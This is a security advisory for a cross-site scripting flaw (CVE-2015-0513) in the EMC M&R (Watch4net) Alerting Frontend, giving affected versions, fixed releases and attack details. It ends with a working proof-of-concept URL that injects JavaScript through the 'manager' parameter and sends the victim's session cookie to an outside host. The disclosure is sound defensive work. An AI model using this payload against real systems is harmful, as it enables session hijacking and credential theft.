------------------------------------------------------------------------ Cross-Site Scripting vulnerability in EMC M&R (Watch4net) Alerting Frontend ------------------------------------------------------------------------ Han Sahin, November 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in EMC M&R (Watch4net) Alerting Frontend. This issue allows attackers to perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes, or exploit issues in other areas of Watch4net. ------------------------------------------------------------------------ Affected products ------------------------------------------------------------------------ EMC reports that the following products are affected by this vulnerability: - EMC M&R (Watch4Net) versions prior 6.5u1 - EMC ViPR SRM versions prior to 3.6.1 ------------------------------------------------------------------------ See also ------------------------------------------------------------------------ - CVE-2015-0513 - ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ EMC released the following updated versions that resolve this vulnerability: - EMC M&R (Watch4Net) 6.5u1 - EMC ViPR SRM 3.6.1 Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20141104/cross_site_scripting_vulnerability_in_emc_m_r__watch4net__alerting_frontend.html This vulnerability can be exploited using the manager URL parameter. Tricking a victim into visiting a specially crafted URL allows attackers to run arbitrary client-side scripting code within the victim's browser. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. The following proof of concept demonstrates that it is possible to inject arbitrary JavaScript into the application's response in order to hijack the victim's session cookies: http://<target>:58080/alerting-frontend/adapters/get?manager=Local%20Manager%3Cimg+src%3dx+onerror%3dthis.src%3d%27https%3a//www.securify.nl/%3fc%3d%27%2bdocument.cookie%3E&_=1411480546258
